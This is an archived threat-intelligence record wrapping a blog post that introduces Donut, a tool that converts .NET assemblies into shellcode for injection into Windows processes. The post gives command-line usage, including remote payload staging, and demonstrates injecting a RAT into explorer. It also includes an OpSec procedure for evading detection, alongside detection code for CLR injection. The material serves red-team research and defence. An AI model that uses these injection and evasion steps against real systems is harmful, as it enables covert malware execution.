{
	"id": "f294db41-b418-4ce7-ae64-d21e80616446",
	"created_at": "2026-04-06T00:07:38.583697Z",
	"updated_at": "2026-04-10T03:24:30.260112Z",
	"deleted_at": null,
	"sha1_hash": "361d9595090f62083d4e1cc6306efd6fa4a900f4",
	"title": "Donut - Injecting .NET Assemblies as Shellcode",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1626122,
	"plain_text": "Donut - Injecting .NET Assemblies as Shellcode\r\nBy The Wover\r\nArchived: 2026-04-05 14:14:21 UTC\r\nTLDR: You can now inject .NET Assemblies into Windows processes using this repo:\r\nhttps://github.com/TheWover/donut/\r\nAdvancing Tradecraft - Context\r\nOffensive and red team tradecraft have changed significantly in the past year. As anti-malware systems improve\r\ntheir capability to detect and deter offensive tools, attackers are shifting their focus to technologies that are not\r\nobserved by AV. Currently, that means operating entirely in memory and avoiding dropping files onto disk. In the\r\nWindows world, the .NET Framework provides a convenient mechanism for this. It is, however, severely\r\nrestricted in that .NET programs cannot be injected directly into remote processes. In this article, we will address\r\nthis issue by describing how to inject .NET code into processes via shellcode.\r\n.NET Primer\r\nBefore we begin, you must understand a few important components of .NET.\r\nCommon Language Runtime: Like Java, .NET uses a runtime environment (or “virtual machine”) to\r\ninterpret code at runtime. All .NET Code is compiled from an intermediate language to native code “Just-In-Time” before execution.\r\nCommon Intermediate Language: Speaking of an intermediate language, .NET uses CIL (also known as\r\nMSIL). All .NET languages (of which there are many) are “assembled” to this intermediate language. CIL\r\nis a generic object-oriented assembly language that can be interpreted into machine code for any hardware\r\narchitecture. As such, the designers of .NET languages do not need to design their compilers around the\r\narchitectures they will run on. Instead, they merely need to design it to compile to one language: CIL.\r\n.NET Assemblies: .NET applications are packaged into .NET Assemblies. They are so called because the\r\ncode from your language of choice has been “assembled” into CIL but not truly compiled. Assemblies use\r\nan extension of the PE format and are represented as either an EXE or a DLL that contains CIL rather than\r\nnative machine code.\r\nApplication Domains: Assemblies are run inside of a safe “box” known as an Application Domain.\r\nMultiple Assemblies can exist within an AppDomain, and multiple AppDomains can exist within a process.\r\nAppDomains are intended to provide the same level of isolation between executing Assemblies as is\r\nnormally provided for processes. Threads may move between AppDomains and can share objects through\r\nmarshalling and delegates.\r\nCurrent state of .NET Tradecraft\r\nCurrently, .NET tradecraft is limited to post-exploitation execution by one of two main ways:\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 1 of 14\n\nAssembly.Load(): The .NET Framework’s standard library includes an API for code reflection. This\r\nReflection API includes System.Reflection.Assembly.Load, which can be used to load .NET programs\r\nfrom memory. In less than five lines of code, you may load a .NET DLL or EXE from memory and execute\r\nit.\r\nexecute-assembly: In Cobalt Strike 3.11, Raphael Mudge introduced a command called ‘execute-assembly’\r\nthat ran .NET Assemblies from memory as if they were run from disk. This command introduced the world\r\nto .NET tradecraft and signalled the shift to Bringing Your Own Land.\r\nHowever, both execution vectors produce challenges for red teams seeking to develop flexible TTPs.\r\nAssembly.Load\r\nWhile the Reflection API is very versatile and can be useful in many different ways, it can only run code in the\r\ncurrent process. No support is provided for running payloads in remote processes.\r\nexecute-assembly\r\nThe main problem with execute-assembly is that it executes the same way every time. That predictability ensures\r\nthat it is reliable, but also lets defenders built analytics.\r\n1. A subprocess is created using the spawnto executable. Mudge refers to this as a “sacrificial process”\r\nbecause it acts as a host for your payloads, isolating your Beacon’s process from any failure in your code.\r\n2. A reflective DLL is injected into the subprocess to load the .NET Runtime.\r\n3. The reflective DLL loads an intermediate .NET Assembly to handle errors and improve the stability of your\r\npayload.\r\n4. The intermediate .NET Assembly loads your .NET Assembly from memory inside the subprocess.\r\n5. The main entry point of your Assembly is invoked along with your command-line arguments.\r\nThe result is that execute-assembly does allow you to inject your .NET Assembly into a remote process. However,\r\nit does not let you inject into a running process or specify how that injection occurs. It is only modular in what you\r\ncan run, not how you can run it. The most that you can do is to specify what executable is run for your sacrificial\r\nsubprocess by changing the spawnto variable in your Malleable C2 Profile. execute-assembly also has a hidden\r\nsize limitation of 1 MB for your payloads, which limits your flexibility in designing post-exploitation tools.\r\nMoving Forward\r\nTo move past these limitations, we need a technique that meets the following requirements:\r\nAllows you to run .NET code from memory.\r\nCan work with any Windows process, regardless of its architecture and whether it has the CLR loaded.\r\nAllows you to inject that code in either a remote (different) process or the local (current) process.\r\nAllows you to determine in what way that injection occurs.\r\nWorks with multiple types of process injection.\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 2 of 14\n\nThe most flexible type of payload that meets those requirements is shellcode. But you can’t just convert a .NET\r\nAssembly to shellcode. They run through a runtime environment, not directly on the hardware. Wouldn’t it be\r\ngreat if we could just inject .NET Assemblies as shellcode? Yes. Yes, it would.\r\nIntroducing Donut\r\nShortly before publishing donut, Odzhan and I became aware of another team working on a shellcode\r\ngenerator for .NET Assemblies. They were at the same stage of their project at us. We both agreed that\r\nwhomever of us published first would ensure that the other received due credit for their work. As soon\r\nas they publish their tool, we will update this article with a link. This project is CLRVoyance,\r\npublished by Accenture: Link to the repo.\r\nDonut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies. This\r\nshellcode may be used to inject the Assembly into arbitrary Windows processes. Given an arbitrary .NET\r\nAssembly, parameters, and an entry point (such as Program.Main), it produces position-independent shellcode that\r\nloads it from memory. The .NET Assembly can either be staged from a URL or stageless by being embedded\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 3 of 14\n\ndirectly in the shellcode. Either way, the .NET Assembly is encrypted with the Chaskey block cipher and a 128-bit\r\nrandomly generated key. After the Assembly is loaded through the CLR, the original reference is erased from\r\nmemory to deter memory scanners. The Assembly is loaded into a new Application Domain to allow for running\r\nAssemblies in disposable AppDomains.\r\nDonut is currently at version 0.9 (Beta). Please share any issues or suggestions with us as Issues on GitHub. Once\r\nwe have received feedback, we will release version 1.0. A link to the compiled v0.9 release can be found here.\r\nThis is a joint project between Odzhan and TheWover. Odzhan also created a blog post for v0.9 release.\r\nHow it Works\r\nUnmanaged Hosting API\r\nMicrosoft provides an API known as the Unmanaged CLR Hosting API. This API allows for unmanaged code\r\n(such as C or C++) to host, inspect, configure, and use Common Language Runtimes. It is a legitimate API that\r\ncan be used for many purposes. Microsoft uses it for several of their products, and other companies use it to\r\ndesign custom loaders for their programs. It can be used to improve performance of .NET applications, create\r\nsandboxes, or just do wierd stuff. We do the latter.\r\nOne of the things it can do is manually load .NET Assemblies into arbitrary Application Domains. It can do this\r\neither from disk or from memory. We utilize its capability for loading from memory to load your payload without\r\ntouching disk.\r\nTo see a standalone example of an Unmanaged CLR Hosting Assembly loader, check out Casey Smith’s repo:\r\nAssemblyLoader\r\nCLR Injection\r\nThe first action that donut’s shellcode takes is to load the CLR. Unless the user specifies the exact runtime version\r\nto use, v4.0.30319 of the CLR will be used by default, which supports the versions 4.0+ of .NET. If the attempt to\r\nload a specific version fails, then donut will attempt to use whichever one is available on the system. Once the\r\nCLR is loaded, the shellcode creates a new Application Domain. At this point, the .NET Assembly payload must\r\nbe obtained. If the user provided a staging URL, then the Assembly is downloaded from it. Otherwise, it is\r\nobtained from memory. Either way, it will loaded into the new AppDomain. After the Assembly is loaded but\r\nbefore it is run, the decrypted copy will be released and later freed from memory with VirtualFree to deter\r\nmemory scanners. Finally, the Entry Point specified by the user will be invoked along with any provided\r\nparameters.\r\nIf the CLR is already loaded into the host process, then donut’s shellcode will still work. The .NET Assembly will\r\njust be loaded into a new Application Domain within the managed process. .NET is designed to allow for .NET\r\nAssemblies built for multiple versions of .NET to run simultaneously in the same process. As such, your payload\r\nshould always run no matter the process’s state before injection.\r\nShellcode Generation\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 4 of 14\n\nThe logic above describes how the shellcode generated by donut works. That logic is defined in payload.exe. To\r\nget the shellcode, exe2h extracts the compiled machine code from the .text segment in payload.exe and saves it as\r\na C array to a C header file. donut combines the shellcode with a Donut Instance (a configuration for the\r\nshellcode) and a Donut Module (a structure containing the .NET assembly, class name, method name and any\r\nparameters).\r\nUsing Donut\r\nDonut can be used as-is to generate shellcode from arbitrary .NET Assemblies. Both a Windows EXE and a\r\nPython (Python planned for v1.0) script are provided for payload generation. The command-line syntax is as\r\ndescribed below.\r\n usage: donut [options] -f \u003c.NET assembly\u003e -c \u003cnamespace.class\u003e -m \u003cMethod\u003e\r\n -f \u003cpath\u003e .NET assembly to embed in PIC and DLL.\r\n -u \u003cURL\u003e HTTP server hosting the .NET assembly.\r\n -c \u003cnamespace.class\u003e The assembly class name.\r\n -m \u003cmethod\u003e The assembly method name.\r\n -p \u003carg1,arg2...\u003e Optional parameters for method, separated by comma or semi-colon.\r\n -a \u003carch\u003e Target architecture : 1=x86, 2=amd64(default).\r\n -r \u003cversion\u003e CLR runtime version. v4.0.30319 is used by default.\r\n -d \u003cname\u003e AppDomain name to create for assembly. Randomly generated by default.\r\n examples:\r\n donut -a 1 -c TestClass -m RunProcess -p notepad.exe -f loader.dll\r\n donut -f loader.dll -c TestClass -m RunProcess -p notepad.exe -u http://remote_server.com/modules/\r\nGenerating Shellcode\r\nTo generate shellcode with donut, you must specify a .NET Assembly, an Entry Point, and any parameters that you\r\nwish to use. If your Assembly uses the Test namespace and includes the Program class with the Main method,\r\nthen you would use the following options:\r\ndonut.exe -f Test.exe -c Test.Program -m Main\r\nTo generate the same shellcode for 32-bit processes, use the ‘-a’ option:\r\ndonut.exe -a 1 -f Test.exe -c Test.Program -m Main\r\nYou may also provide parameters to whatever Entry Point you specify. The max length of each parameter is\r\ncurrently 32 characters. To demonstrate this functionality, you may use the following options and our example\r\nAssembly to create shellcode that will spawn a Notepad process and a Calc process:\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 5 of 14\n\n.\\donut.exe -f .\\DemoCreateProcess\\bin\\Release\\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,\r\nWhen generating shellcode to run an an older Windows machine, you may need it to use v2 of the CLR, rather\r\nthan v4. v2 works for versions of the .NET Framework \u003c= 3.5, while v4 works for versions \u003e= 4.0. By default,\r\ndonut uses version 4 of the CLR. You may tell it to use v2 with the ‘-r’ option and specifying “v2.0.50727” as the\r\nparameter.\r\n.\\donut.exe -r v2.0.50727 -f .\\DemoCreateProcess\\bin\\Release\\DemoCreateProcess.dll -c TestClass -m RunProcess -\r\nThe name of the AppDomain for your .NET payload may be specified manually using the ‘-d’ option. By default,\r\nit will be randomly generated. You may specify a name.\r\n.\\donut.exe -d ResourceDomain -r v2.0.50727 -f .\\DemoCreateProcess\\bin\\Release\\DemoCreateProcess.dll -c TestCla\r\nIn order to reduce the size of your shellcode (or for many other reasons), you may specify a URL where your\r\npayload will be hosted. Donut will produce an encrypted Donut Module with a random name that you should\r\nplace at the URI you specified. The name and location where you should place it will be printed to your screen\r\nwhen you generate the shellcode.\r\n.\\donut.exe -u http://remote_server.com/modules/ -d ResourceDomain -r v2.0.50727 -f .\\DemoCreateProcess\\bin\\Rel\r\nDemonstrating with SILENTTRINITY\r\nFor a demonstration, we will use the SILENTTRINITY RAT as a test payload. Since it is the most… ahh…\r\ncomplicated .NET Assembly that I could find, I used it for all of my testing. You may use any standard shellcode\r\ninjection technique to inject the .NET Assembly. The DonutTest subproject is provided in the repo as an example\r\ninjector. You may combine it with the DonutTest subproject to test the shellcode generator. In our case, we will\r\nfirst use DonutTest to inject into explorer. We also show what it looks like to use an existing implant to perform\r\nfurther injection using the boo/shellcode and ipy/execute-assembly post-exploitation modules.\r\nGeneration\r\nFirst, we will generate a x64 PIC using the SILENTTRINITY DLL. Using PowerShell, we will base64-encode the\r\nresult and pipe it to our clipboard.\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 6 of 14\n\nBecause we don’t know what processes will be available to inject into on-target, we will also generate a x86 PIC\r\njust in case we need it.\r\nIf you wanted to, you could use a staging server by providing the URL and copying the Donut Module to the\r\nspecified location.\r\nChoosing a Host Process\r\nUse ProcessManager, a sub-project provided in the donut repo, to enumerate processes. ProcessManager\r\nenumerates all running processes and makes a best effort to obtain information about them. It is specifically\r\ndesigned to aid in determining what process to inject / migrate into. The picture below demonstrates its general\r\nusage.\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 7 of 14\n\nInjecting\r\nFirst, we will use DonutTest to inject into explorer using DonutTest. We pasted the encoded shellcode from above\r\ninto DonutTest and rebuilt it for our test.\r\nAs you can see, the injection was successfull:\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 8 of 14\n\nNow assume we already have an agent running on the machine. We can use SILENTTRINITY’s post-exploitation\r\nmodules to inject implants into running processes.\r\nUsing as a Library\r\ndonut is provided as both dynamic and static libraries for both (.a / .so) and Windows (.lib / .dll). It has a simple\r\nAPI that is described in docs\\api.html. Two exported functions are provided, int DonutCreate(PDONUT_CONFIG\r\nc) and int DonutDelete(PDONUT_CONFIG c) .\r\nRebuilding the shellcode\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 9 of 14\n\nYou may easily customize our shellcode to fit your use case. payload.c contains the .NET assembly loader, which\r\nshould successfully compile with both Microsoft Visual Studio and mingw-w64. Make files have been provided\r\nfor both compilers which will generate x86-64 shellcode by default unless x86 is supplied as a label to\r\nnmake/make. Whenever payload.c has been changed, recompiling for all architectures is recommended before\r\nrebuilding donut.\r\nMicrosoft Visual Studio\r\nOpen the x64 Microsoft Visual Studio build environment, switch to the payload directory, and type the following:\r\nnmake clean -f Makefile.msvc\r\nnmake -f Makefile.msvc\r\nThis should generate a 64-bit executable (payload.exe) from payload.c. exe2h will then extract the shellcode from\r\nthe .text segment of the PE file and save it as a C array to payload_exe_x64.h. When donut is rebuilt, this new\r\nshellcode will be used for all payloads that it generates.\r\nTo generate 32-bit shellcode, open the x86 Microsoft Visual Studio build environment, switch to the payload\r\ndirectory, and type the following:\r\nnmake clean -f Makefile.msvc\r\nnmake x86 -f Makefile.msvc\r\nThis will save the shellcode as a C array to payload_exe_x86.h.\r\nMingw-w64\r\nAssuming you’re on Linux and mingw-w64 has been installed from packages or source, you may still rebuild the\r\nshellcode using our provided makefile. Change to the payload directory and type the following:\r\nmake clean -f Makefile.mingw\r\nmake -f Makefile.mingw\r\nOnce you’ve recompiled for all architectures, you may rebuild donut.\r\nWe hope that donut (or something inspired by it) will be integrated into tooling to provide inject and migrate\r\nfunctionality. To do so, we suggest one of the following methods:\r\nAs an operator, using the generator to manually generate shellcode.\r\nGenerate the shellcode dynamically on your C2 server, pass that down to an existing implant, and inject it\r\ninto another process.\r\nUse our dynamic or static libraries.\r\nAs a template for building your own shellcode / generator.\r\nUse our Python (Python planned for v1.0) extension to script shellcode generation dynamically.\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 10 of 14\n\nAdvancing Tradecraft\r\nIt is our hope that releasing donut to the public will advance offensive and red team tradecraft in several ways:\r\nProvide red teams and adversary emulators with a means to emulate this technique that threat actors may\r\nhave developed in secret.\r\nProvide blue teams a frame of refernce for detecting and mitigating CLR Injection techniques.\r\nInspire tool developers to develop new types of techniques and tradecraft.\r\nAlternative Payloads\r\nThe main benefit of using .NET Assemblies as shellcode is that they can now be executed by anything that can\r\nexecute shellcode on Windows. There are many more ways to inject shellcode than there are to load Assemblies.\r\nAs such, offensive tool designers no longer need to design their payloads around running .NET. Instead, they may\r\nleverage their existing payloads and techniques that use shellcode.\r\nInjecting .NET At Will / Migration\r\nDonut will also allow the developers of C2 Frameworks / RATs to add migrate-like functionality to their tools. By\r\nusing Donut as a library (or calling the generator) on the server and then providing the result to an existing agent,\r\nit may inject a new instance of itself into another running process. This may also be used to inject arbitrary post-exploitation modules so long as I/O is properly redirected.\r\nDisposable AppDomains\r\nWhen donut loads an Assembly, it loads it into a new AppDomain. Unless the user specifies the name of the\r\nAppDomain with the ‘-d’ parameter, the AppDomain is given a random name. We specifically designed donut to\r\nrun payloads in new AppDomains rather than using DefaultDomain. If this does not suit you, you can easily\r\nmodify payload.c to use the default domain. By running the payload in its own AppDomain, this allows for the\r\ndevelopment of tools that run post-exploitation modules in disposable AppDomains. Application Domains can be\r\nunloaded, but individual Assemblies cannot. Therefore, to unload an Assembly when you are done with it, you\r\nmust put it into its own AppDomain and unload that instead. A C# agent can have the shellcode generated on its\r\nserver, inject the result into itself in a new thread, wait for the Assembly to finish executing, then unload the host\r\nAppDomain. You could also modify the shellcode itself to perform that role.\r\nDetecting CLR Injection\r\nOne of the companion projects for donut is ModuleMonitor. It uses WMI Event Win32_ModuleLoadTrace to\r\nmonitor for module loading. It provides filters, detailed data, and has an option to monitor for CLR Injection\r\nattacks.\r\nThe CLR Sentry option follows some simple logic: If a process loads the CLR, but the program is not a .NET\r\nprogram, then the CLR has been injected into it.\r\nWhile useful, there are both false positives and false negatives:\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 11 of 14\n\nFalse Postiive: There are (few) legitimate uses of the Unmanaged CLR Hosting API. If there weren’t, then\r\nMicrosoft wouldn’t have made it. CLR Sentry will notice every unmanaged program that loads the CLR.\r\nFalse Negatives: This will NOT notice injection of .NET code into processes that already have the CLR\r\nloaded. So, no use of the Reflection API and not when donut is used to inject shellcode into managed\r\nprocesses.\r\nPlease Note: This is intended only as a Proof-of-Concept to demonstrate the anomalous behavior produced by\r\nCLR injection and how it may be detected. It should not be used in any way in a production environment. You\r\ncould perform the same logic with the Image Load event for Sysmon or ETW. They would be easier to scale and\r\nintegrate with enterprise tooling.\r\nI am not a defender, but the following pseudocode is my attempt at an analytic that follows this logic. The DLLs\r\nthat are associated with the CLR all start with “msco”, such as “mscorlib.dll” and “mscoree.dll”. As such, we\r\nwatch for their loading, then check if the program that loaded them is a valid .NET Assembly.\r\nvoid CLR_Injection:\r\n WHEN Image_Load event:\r\n if event.Module.Name contains \"msco*.dll\":\r\n {\r\n if !(IsValidAssembly(event.Process.FilePath)):\r\n {\r\n print \"A CLR has been injected into \" + event.Process.Id\r\n }\r\n }\r\nThe snippet below represents my implementation of this logic in C#. The full code can be found in\r\nModuleMonitor.\r\n//CLR Sentry\r\n//Author: TheWover\r\n while (true)\r\n {\r\n //Get the module load.\r\n Win32_ModuleLoadTrace trace = GetNextModuleLoad();\r\n //Split the file path into parts delimited by a '\\'\r\n string[] parts = trace.FileName.Split('\\\\');\r\n //Check whether it is a .NET Runtime DLL\r\n if (parts[parts.Length - 1].Contains(\"msco\"))\r\n {\r\n //Get a\r\n Process proc = Process.GetProcessById((int) trace.ProcessID);\r\n //Check if the file is a .NET Assembly\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 12 of 14\n\nif (!IsValidAssembly(proc.StartInfo.FileName))\r\n {\r\n //If it is not, then the CLR has been injected.\r\n Console.WriteLine();\r\n Console.WriteLine(\"[!] CLR Injection has been detected!\");\r\n //Display information from the event\r\n Console.WriteLine(\"[\u003e] Process {0} has loaded the CLR but is not a .NET Assembly:\", trace.Pr\r\n }\r\n }\r\n }\r\nIt is important to note that this behaviour represents all CLR Injection techniques, of which there are several. This\r\ndetection should work for donut, as well as other tools such as Cobalt Strike’s ‘execute-assembly’ command.\r\nOpSec Considerations\r\nModuleMonitor demonstrates an important point about CLR Injection: When performed against unmanaged\r\nprocesses, CLR Injection produces highly anomalous process behavior. The loading of a CLR after a process’s\r\ninitial execution or from unmanaged code is unusual. There are few legitimate use cases. From a defender’s\r\nperspective, this allows you to build a analytics that monitor for the behavior described in the section above.\r\nHowever, as I mentioned, this analytic fails to detect CLR Injection into processes that already have the CLR\r\nloaded. As such, an operator could evade the analytic by simply injecting into processes that are already managed.\r\nI would recommend the following standard operating procedure:\r\n1. Run ProcessManager from memory to enumerate processes. Take note of which you can inject into.\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 13 of 14\n\n2. If there are any processes that are already managed, then consider them the set of potential targets.\r\n3. If there are not any managed processes, then all processes are potential targets.\r\n4. Either way, inject / migrate into the process that is most likely to naturally produce network traffic and live\r\nthe longest.\r\nOr to put it simply:\r\nWhenever possible, prefer to inject .NET Assemblies into processes that already have the CLR loaded.\r\nConclusion\r\nOffensive .NET tradecraft is faced with several important challenges. One of them is the lack of means to inject\r\ninto remote processes at will. While this can normally be performed with shellcode, there is no way to produce\r\nshellcode that can run a .NET Assembly directly on hardware. Any shellcode that runs a .NET Assembly must first\r\nbootstrap the Common Language Runtime and load the Assembly through it. Enter Donut. With Donut, we now\r\nhave a framework for generating flexible shellcode that loads a .NET Assembly from memory. This can be\r\ncombined with existing techniques and tooling to advance tradecraft in a number of ways. Hopefully, this will\r\nbreak down the current barriers in .NET-based exploitation and provide tool designers with a foundation for\r\ncrafting more excellent tools.\r\nSource: https://thewover.github.io/Introducing-Donut/\r\nhttps://thewover.github.io/Introducing-Donut/\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE",
		"Malpedia"
	],
	"references": [
		"https://thewover.github.io/Introducing-Donut/"
	],
	"report_names": [
		"Introducing-Donut"
	],
	"threat_actors": [
		{
			"id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d",
			"created_at": "2022-10-25T16:07:24.139848Z",
			"updated_at": "2026-04-10T02:00:04.878798Z",
			"deleted_at": null,
			"main_name": "Safe",
			"aliases": [],
			"source_name": "ETDA:Safe",
			"tools": [
				"DebugView",
				"LZ77",
				"OpenDoc",
				"SafeDisk",
				"TypeConfig",
				"UPXShell",
				"UsbDoc",
				"UsbExe"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434058,
	"ts_updated_at": 1775791470,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/361d9595090f62083d4e1cc6306efd6fa4a900f4.pdf",
		"text": "https://archive.orkl.eu/361d9595090f62083d4e1cc6306efd6fa4a900f4.txt",
		"img": "https://archive.orkl.eu/361d9595090f62083d4e1cc6306efd6fa4a900f4.jpg"
	}
}